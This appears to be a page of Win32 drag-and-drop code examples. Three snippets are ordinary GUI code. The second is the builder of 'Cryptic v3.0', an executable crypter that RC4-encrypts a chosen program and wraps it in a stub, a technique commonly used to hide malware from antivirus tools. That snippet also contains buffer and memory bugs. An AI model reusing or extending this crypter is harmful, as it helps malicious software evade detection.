Esempio n. 1
0
static lstring DropPaths(WPARAM wparam) {
  auto dropList = HDROP(wparam);
  auto fileCount = DragQueryFile(dropList, ~0u, nullptr, 0);

  lstring paths;
  for(unsigned n = 0; n < fileCount; n++) {
    auto length = DragQueryFile(dropList, n, nullptr, 0);
    auto buffer = new wchar_t[length + 1];

    if(DragQueryFile(dropList, n, buffer, length + 1)) {
      string path = (const char*)utf8_t(buffer);
      path.transform("\\", "/");
      if(directory::exists(path) && !path.endsWith("/")) path.append("/");
      paths.append(path);
    }

    delete[] buffer;
  }

  return paths;
}
Esempio n. 2
0
BOOL CALLBACK DlgProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	OPENFILENAME ofn;
	POINT pt;
	RECT rect;
	switch(uMsg){
	case WM_INITDIALOG:
		InitCommonControls();
		hIcon = LoadIcon(hInst, MAKEINTRESOURCE(IDI_MAIN));
		SendMessage(hDlg, WM_SETICON, (WPARAM)ICON_SMALL, (LPARAM)hIcon);
		CheckDlgButton(hDlg, IDC_BACKUP, BST_CHECKED);
		SendMessage(GetDlgItem(hDlg, IDC_FILE), EM_SETREADONLY, (WPARAM)TRUE, (LPARAM)0);
		hIcon = LoadIcon(hInst, MAKEINTRESOURCE(IDI_EXE));
		SendMessage(GetDlgItem(hDlg, IDC_ICONIMG), STM_SETICON, (WPARAM)hIcon, (LPARAM)0);
		EnableWindow(GetDlgItem(hDlg, IDC_BUILD), FALSE);
		SetWindowPos(hDlg, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
		break;
	case WM_CLOSE:
		EndDialog(hDlg, 0);
		break;
	case WM_PAINT:
		SendMessage(GetDlgItem(hDlg, IDC_ICONIMG), STM_SETICON, (WPARAM)hIcon, (LPARAM)0);
		break;
	case WM_DROPFILES:
		HDROP hDrop;
		hDrop = HDROP(wParam);
		DragQueryFile(hDrop, 0, szEFileName, sizeof(szEFileName));
		DragFinish(hDrop);
		if(LoadPE(szEFileName) == FALSE)
		{
			MessageBox(hDlg, "Could not load file!", "Cryptic", MB_ICONERROR);
			return TRUE;
		}
		SetDlgItemText(hDlg, IDC_FILE, szEFileName);
		EnableWindow(GetDlgItem(hDlg, IDC_BUILD), TRUE);
		break;
	case WM_MOUSEMOVE:
		GetCursorPos(&pt);
		GetWindowRect(GetDlgItem(hDlg, IDC_ICONIMG), &rect);
		if(PtInRect(&rect, pt))
		{
			SetCursor(LoadCursor(NULL, MAKEINTRESOURCE(32649)));
		}
		else
		{
			SetCursor(LoadCursor(NULL, IDC_ARROW));
		}
		break;
	case WM_LBUTTONDOWN:
		GetCursorPos(&pt);
		GetWindowRect(GetDlgItem(hDlg, IDC_ICONIMG), &rect);
		if(PtInRect(&rect, pt))
		{
			SetCursor(LoadCursor(NULL, MAKEINTRESOURCE(32649)));
			memset(&ofn, 0, sizeof(ofn));
			szIFileName[0] = '\0';
			ofn.lStructSize = sizeof(OPENFILENAME);
			ofn.hwndOwner = hDlg;
			ofn.lpstrFilter = "Icon Files (*.ico)\0*.ico\0\0";
			ofn.lpstrFile = szIFileName;
			ofn.nMaxFile = MAX_PATH;
			ofn.Flags = OFN_PATHMUSTEXIST;
			if(GetOpenFileName(&ofn))
			{
				hIcon = ExtractIcon(hInst, szIFileName, 0);
				SendMessage(GetDlgItem(hDlg, IDC_ICONIMG), STM_SETICON, (WPARAM)hIcon, (LPARAM)0);
			}
		}
		break;
	case WM_RBUTTONDOWN:
		GetCursorPos(&pt);
		GetWindowRect(GetDlgItem(hDlg, IDC_ICONIMG), &rect);
		if(PtInRect(&rect, pt))
		{
			SetCursor(LoadCursor(NULL, MAKEINTRESOURCE(32649)));
		}
		break;
	case WM_COMMAND:
		switch LOWORD(wParam){
		case IDC_BROWSE:
			memset(&ofn, 0, sizeof(ofn));
			szEFileName[0] = '\0';
			ofn.lStructSize = sizeof(OPENFILENAME);
			ofn.hwndOwner = hDlg;
			ofn.lpstrFilter = "Executable Files (*.exe)\0*.exe\0\0";
			ofn.lpstrFile = szEFileName;
			ofn.nMaxFile = MAX_PATH;
			ofn.Flags = OFN_PATHMUSTEXIST;
			if(GetOpenFileName(&ofn))
			{
				if(LoadPE(szEFileName) == FALSE)
				{
					MessageBox(hDlg, "Could not load file!", "Cryptic", MB_ICONERROR);
					return TRUE;
				}
				SetDlgItemText(hDlg, IDC_FILE, szEFileName);
				EnableWindow(GetDlgItem(hDlg, IDC_BUILD), TRUE);
			}
			break;
		case IDC_BUILD:
			EnableControls(hDlg, FALSE);
			HRSRC hRsrc;
			hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_STUB), "STUB");
			if(hRsrc == NULL)
			{
				MessageBox(hDlg, "Could not find resource!", "Cryptic", MB_ICONERROR);
				EnableControls(hDlg, TRUE);
				return TRUE;
			}
			DWORD dwRsrcSize;
			dwRsrcSize = SizeofResource(NULL, hRsrc);
			HGLOBAL hGlob;
			hGlob = LoadResource(NULL, hRsrc);
			if(hGlob == NULL)
			{
				MessageBox(hDlg, "Could not load resource!", "Cryptic", MB_ICONERROR);
				EnableControls(hDlg, TRUE);
				return TRUE;
			}
			LPBYTE lpBuffer;
			lpBuffer = (LPBYTE)LockResource(hGlob);
			if(lpBuffer == NULL)
			{
				MessageBox(hDlg, "Could not lock resource!", "Cryptic", MB_ICONERROR);
				EnableControls(hDlg, TRUE);
				return TRUE;
			}
			GetDlgItemText(hDlg, IDC_FILE, szEFileName, MAX_PATH);
			if(IsDlgButtonChecked(hDlg, IDC_BACKUP) == BST_CHECKED)
			{
				CHAR szBFileName[MAX_PATH];
				GetDlgItemText(hDlg, IDC_FILE, szBFileName, MAX_PATH);
				strcat(szBFileName, ".bak");
				if(CopyFile(szEFileName, szBFileName, FALSE) == 0)
				{
					free(lpBuffer);
					MessageBox(hDlg, "Could not copy file!", "Cryptic", MB_ICONERROR);
					EnableControls(hDlg, TRUE);
					return TRUE;
				}
			}
			BYTE lpKey[14];
			srand(time(NULL));
			int i;
			for(i = 0; i < 15; i++)
			{
				lpKey[i] = BYTE(rand() % 255 + 1);
			}
			HANDLE hFile;
			hFile = CreateFile(szEFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
			if(hFile == INVALID_HANDLE_VALUE)
			{
				free(lpBuffer);
				MessageBox(hDlg, "Could not create file!", "Cryptic", MB_ICONERROR);
				EnableControls(hDlg, TRUE);
				return TRUE;
			}
			DWORD dwBytesWritten;
			if(WriteFile(hFile, lpBuffer, dwRsrcSize, &dwBytesWritten, NULL) == 0)
			{
				CloseHandle(hFile);
				free(lpBuffer);
				MessageBox(hDlg, "Could not write to file!", "Cryptic", MB_ICONERROR);
				EnableControls(hDlg, TRUE);
				return TRUE;
			}
			CloseHandle(hFile);
			free(lpBuffer);
			if(IsDlgButtonChecked(hDlg, IDC_ADDICON) == BST_CHECKED)
			{
				if(AddIcon(szIFileName, szEFileName) == FALSE)
				{
					MessageBox(hDlg, "Could add icon!", "Cryptic", MB_ICONERROR);
					EnableControls(hDlg, TRUE);
					return TRUE;
				}
			}
			HANDLE hUpdate;
			hUpdate = BeginUpdateResource(szEFileName, FALSE);
			if(hUpdate == NULL)
			{
				MessageBox(hDlg, "Could add resource!", "Cryptic", MB_ICONERROR);
				EnableControls(hDlg, TRUE);
				return TRUE;
			}
			if(UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(150), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), RC4(lpFileBuffer, lpKey, dwFileSize, 15), dwFileSize) == FALSE)
			{
				MessageBox(hDlg, "Could add resource!", "Cryptic", MB_ICONERROR);
				EnableControls(hDlg, TRUE);
				return TRUE;
			}
			if(UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(151), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), &lpKey[0], 15) == FALSE)
			{
				MessageBox(hDlg, "Could add resource!", "Cryptic", MB_ICONERROR);
				EnableControls(hDlg, TRUE);
				return TRUE;
			}
			if(EndUpdateResource(hUpdate, FALSE) == FALSE)
			{
				MessageBox(hDlg, "Could add resource!", "Cryptic", MB_ICONERROR);
				EnableControls(hDlg, TRUE);
				return TRUE;
			}
			RC4(lpFileBuffer, lpKey, dwFileSize, 15);
			pish = (PIMAGE_SECTION_HEADER)&lpFileBuffer[pidh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * (pinh->FileHeader.NumberOfSections - 1)];
			if(dwFileSize > (pish->PointerToRawData + pish->SizeOfRawData))
			{
				MessageBox(hDlg, "EOF data found!", "Cryptic", MB_OK);
				hFile = CreateFile(szEFileName, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
				if(hFile == INVALID_HANDLE_VALUE)
				{
					MessageBox(hDlg, "Could not open file!", "Cryptic", MB_ICONERROR);
					EnableControls(hDlg, TRUE);
					return TRUE;
				}
				SetFilePointer(hFile, 0, NULL, FILE_END);
				if(WriteFile(hFile, &lpFileBuffer[pish->PointerToRawData + pish->SizeOfRawData + 1], dwFileSize - (pish->PointerToRawData + pish->SizeOfRawData), &dwBytesWritten, NULL) == 0)
				{
					CloseHandle(hFile);
					MessageBox(hDlg, "Could not write to file!", "Cryptic", MB_ICONERROR);
					EnableControls(hDlg, TRUE);
					return TRUE;
				}
				CloseHandle(hFile);
			}
			MessageBox(hDlg, "File successfully crypted!", "Cryptic", MB_ICONINFORMATION);
			EnableControls(hDlg, TRUE);
			break;
		case IDC_ABOUT:
			MessageBox(hDlg, "Cryptic v3.0\nCoded by Tughack", "About", MB_ICONINFORMATION);
			break;
		case IDC_EXIT:
			EndDialog(hDlg, 0);
			break;
		}
	}
	return FALSE;
}
Esempio n. 3
0
static LRESULT CALLBACK Viewport_windowProc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) {
  Object* object = (Object*)GetWindowLongPtr(hwnd, GWLP_USERDATA);
  if(object == nullptr) return DefWindowProc(hwnd, msg, wparam, lparam);
  if(!dynamic_cast<Viewport*>(object)) return DefWindowProc(hwnd, msg, wparam, lparam);
  Viewport& viewport = (Viewport&)*object;

  if(msg == WM_DROPFILES) {
    auto dropList = HDROP(wparam);
    auto fileCount = DragQueryFile(dropList, ~0u, nullptr, 0);

    lstring result;
    for(unsigned n = 0; n < fileCount; n++) {
      auto length = DragQueryFile(dropList, n, nullptr, 0);
      auto buffer = new wchar_t[length + 1];

      if(DragQueryFile(dropList, n, buffer, length + 1)) {
        string path = (const char*)utf8_t(buffer);
        path.transform("\\", "/");
        if(directory::exists(path) && !path.endswith("/")) path.append("/");
        result.append(path);
      }

      delete[] buffer;
    }

    if(viewport.onDrop) viewport.onDrop(result);
    return FALSE;
  }

  if(msg == WM_GETDLGCODE) {
    return DLGC_STATIC | DLGC_WANTCHARS;
  }

  if(msg == WM_MOUSEMOVE) {
    TRACKMOUSEEVENT tracker = {sizeof(TRACKMOUSEEVENT), TME_LEAVE, hwnd};
    TrackMouseEvent(&tracker);
    if(viewport.onMouseMove) viewport.onMouseMove({(int16_t)LOWORD(lparam), (int16_t)HIWORD(lparam)});
  }

  if(msg == WM_MOUSELEAVE) {
    if(viewport.onMouseLeave) viewport.onMouseLeave();
  }

  if(msg == WM_LBUTTONDOWN || msg == WM_MBUTTONDOWN || msg == WM_RBUTTONDOWN) {
    if(viewport.onMousePress) switch(msg) {
    case WM_LBUTTONDOWN: viewport.onMousePress(Mouse::Button::Left); break;
    case WM_MBUTTONDOWN: viewport.onMousePress(Mouse::Button::Middle); break;
    case WM_RBUTTONDOWN: viewport.onMousePress(Mouse::Button::Right); break;
    }
  }

  if(msg == WM_LBUTTONUP || msg == WM_MBUTTONUP || msg == WM_RBUTTONUP) {
    if(viewport.onMouseRelease) switch(msg) {
    case WM_LBUTTONUP: viewport.onMouseRelease(Mouse::Button::Left); break;
    case WM_MBUTTONUP: viewport.onMouseRelease(Mouse::Button::Middle); break;
    case WM_RBUTTONUP: viewport.onMouseRelease(Mouse::Button::Right); break;
    }
  }

  return DefWindowProc(hwnd, msg, wparam, lparam);
}
Esempio n. 4
0
//---------------------------------------------------------------------
LRESULT	Window::WindowProcedure(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) {

#ifdef	_DEBUG
	/*
	char	buf[20];
	sprintf(buf, "0x%x : ", hWnd);
	OutputDebugString(buf);
	*/
	PutWindowMessage(message, wParam, lParam);
#endif

	if ( message==WM_CREATE )
	{
		LPCREATESTRUCT	pc = (LPCREATESTRUCT)lParam;
		Window*	pw = (Window*)(pc->lpCreateParams);
		pw->mWnd = hWnd;
		::SetWindowLong(hWnd, 0, (long)pw);
		bool b = pw->OnCreate(pc);

		gTaskbarCreatedMessage = ::RegisterWindowMessage(TEXT("TaskbarCreated"));

		return	b ? 0 : -1;
	}

	// マウスホイール対応
	if ( message == msgMOUSEWHEEL ) {
		message = WM_MOUSEWHEEL;
		DbgStr("MouseWheel fwKeys:%04x, zDelta:%d, xPos:%d, yPos:%d",
			LOWORD(wParam), (short)HIWORD(wParam),
			(short)LOWORD(lParam), (short)HIWORD(lParam) );
	}

	Window*	p=(Window*)(::GetWindowLong(hWnd, 0));
	if ( p == NULL )
		return	::DefWindowProc(hWnd, message, wParam, lParam);

	if ( message >= WM_USER && message <= 0x7FFF )
		return	p->OnUser(message, wParam, lParam);
	if ( message == gTaskbarCreatedMessage )
		return  p->OnTaskbarRestart();

	switch ( message ) {

	case WM_PAINT:
		{
			PAINTSTRUCT	thePS;
			HDC			theDC = ::BeginPaint(hWnd, &thePS);
			if (theDC != NULL) {
				p->OnPaint(theDC);
				::EndPaint(hWnd, &thePS);
			}
		}
		return	0;

	case WM_NCHITTEST:
		return	p->OnNCHitTest(MAKEPOINT(lParam));

	Handle(WM_ACTIVATE, OnActivate(LOWORD(wParam), HIWORD(wParam), (HWND)lParam));
	Handle(WM_ACTIVATEAPP, OnActivateApp(BOOL(wParam), (DWORD)lParam));
	Handle(WM_DISPLAYCHANGE, OnDisplayChange(LOWORD(lParam), HIWORD(lParam), wParam));
	/*case WM_DISPLAYCHANGE:
		p->OnDisplayChange(LOWORD(lParam), HIWORD(lParam), wParam);
		break;*/


	Handle(WM_COMMAND, OnCommand(HIWORD(wParam), LOWORD(wParam), (HWND)lParam));
	Handle(WM_INITMENU, OnInitMenu(HMENU(wParam)));
	Handle(WM_CLOSE, OnClose());
	Handle(WM_DESTROY, OnDestroy());

	Handle(MM_MCINOTIFY, OnMCINotify(WORD(wParam), LONG(lParam)));

	Handle(WM_LBUTTONDOWN, OnLButtonDown(MAKEPOINT(lParam), wParam));
	Handle(WM_MBUTTONDOWN, OnMButtonDown(MAKEPOINT(lParam), wParam));
	Handle(WM_RBUTTONDOWN, OnRButtonDown(MAKEPOINT(lParam), wParam));
	Handle(WM_LBUTTONUP, OnLButtonUp(MAKEPOINT(lParam), wParam));
	Handle(WM_MBUTTONUP, OnMButtonUp(MAKEPOINT(lParam), wParam));
	Handle(WM_RBUTTONUP, OnRButtonUp(MAKEPOINT(lParam), wParam));
	Handle(WM_LBUTTONDBLCLK, OnLButtonDoubleClick(MAKEPOINT(lParam), wParam));
	Handle(WM_MBUTTONDBLCLK, OnMButtonDoubleClick(MAKEPOINT(lParam), wParam));
	Handle(WM_RBUTTONDBLCLK, OnRButtonDoubleClick(MAKEPOINT(lParam), wParam));
	Handle(WM_MOUSEMOVE, OnMouseMove(MAKEPOINT(lParam), wParam));
	Handle(WM_MOUSEWHEEL, OnMouseWheel(LOWORD(wParam), (short)HIWORD(wParam), (short)LOWORD(lParam), (short)HIWORD(lParam)));
	Handle(WM_NCLBUTTONDBLCLK, OnNCLButtonDoubleClick(wParam, MAKEPOINT(lParam)));

	Handle(WM_KEYDOWN, OnKeyDown((int)wParam, (long)lParam));
	Handle(WM_KEYUP, OnKeyUp((int)wParam, (long)lParam));
	Handle(WM_DROPFILES, OnDropFiles(HDROP(wParam)));
	
	Handle(WM_TIMER, OnTimer(wParam, (TIMERPROC*)lParam));

	Handle(WM_DRAWCLIPBOARD, OnDrawClipboard());
	Handle(WM_CHANGECBCHAIN, OnChangeCBChain((HWND)wParam, (HWND)lParam));

	default:
		break;
	}
	return	::DefWindowProc(hWnd, message, wParam, lParam);
}